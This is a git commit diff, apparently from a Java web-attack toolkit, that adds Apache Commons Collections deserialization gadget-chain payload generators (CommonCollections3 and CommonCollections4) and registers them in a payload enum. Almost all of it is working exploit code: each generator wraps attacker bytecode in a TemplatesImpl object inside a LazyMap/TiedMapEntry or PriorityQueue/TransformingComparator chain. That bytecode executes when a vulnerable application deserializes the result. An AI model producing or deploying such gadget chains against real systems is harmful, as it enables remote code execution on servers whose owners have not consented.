feat: support CC payload generate

deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java

@@ -1,10 +1,7 @@
 package com.reajason.javaweb.deserialize;
 
 import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
-import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
-import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
-import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
-import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
+import com.reajason.javaweb.deserialize.payload.java.*;
 import lombok.Getter;
 
 /**
@@ -21,6 +18,12 @@ public enum PayloadType {
     CommonsBeanutils19(new CommonsBeanutils19()),
     CommonsBeanutils110(new CommonsBeanutils110()),
 
+    /**
+     * CC 链
+     */
+    CommonsCollections3(new CommonCollections3()),
+    CommonsCollections4(new CommonCollections4()),
+
     /**
      * Hessian XSLT write
      */

deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java

@@ -1,12 +1,13 @@
 package com.reajason.javaweb.deserialize;
 
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.deserialize.utils.Reflections;
-import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.jar.asm.Opcodes;
 
 /**
  * @author ReaJason
@@ -20,6 +21,7 @@ public class TemplateUtils {
         byte[] fooBytes;
         try (DynamicType.Unloaded<Object> make = new ByteBuddy()
                 .subclass(Object.class).name("foo")
+                .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
                 .make()) {
             fooBytes = make.getBytes();
         }

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java

@@ -0,0 +1,43 @@
+package com.reajason.javaweb.deserialize.payload.java;
+
+import com.reajason.javaweb.deserialize.Payload;
+import com.reajason.javaweb.deserialize.TemplateUtils;
+import com.reajason.javaweb.deserialize.utils.Reflections;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import lombok.SneakyThrows;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
+ *
+ * @author ReaJason
+ * @since 2025/4/2
+ */
+public class CommonCollections3 implements Payload {
+
+    @Override
+    @SneakyThrows
+    @SuppressWarnings({"rawtypes", "unchecked"})
+    public Object generate(byte[] bytes) {
+        TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
+
+        InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
+
+        Map innerMap = new HashMap<>();
+        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
+
+        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
+
+        Map expMap = new HashMap<>();
+        expMap.put(tiedMapEntry, "valueTest");
+        outerMap.remove(templates);
+
+        Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
+        return expMap;
+    }
+}

deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java

@@ -0,0 +1,39 @@
+package com.reajason.javaweb.deserialize.payload.java;
+
+import com.reajason.javaweb.deserialize.Payload;
+import com.reajason.javaweb.deserialize.TemplateUtils;
+import com.reajason.javaweb.deserialize.utils.Reflections;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
+import lombok.SneakyThrows;
+import org.apache.commons.collections4.comparators.TransformingComparator;
+import org.apache.commons.collections4.functors.ChainedTransformer;
+import org.apache.commons.collections4.functors.ConstantTransformer;
+import org.apache.commons.collections4.functors.InstantiateTransformer;
+
+import javax.xml.transform.Templates;
+import java.util.PriorityQueue;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/2
+ */
+public class CommonCollections4 implements Payload {
+
+    @Override
+    @SneakyThrows
+    @SuppressWarnings({"rawtypes", "unchecked"})
+    public Object generate(byte[] bytes) {
+        TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
+        ChainedTransformer chain =
+                new ChainedTransformer(
+                        new ConstantTransformer(TrAXFilter.class),
+                        new InstantiateTransformer(
+                                new Class[]{Templates.class}, new Object[]{templates}));
+        TransformingComparator comparator = new TransformingComparator(chain);
+        PriorityQueue queue = new PriorityQueue(2, comparator);
+        Reflections.setFieldValue(queue, "size", 2);
+        Reflections.setFieldValue(queue, "comparator", comparator);
+        return queue;
+    }
+}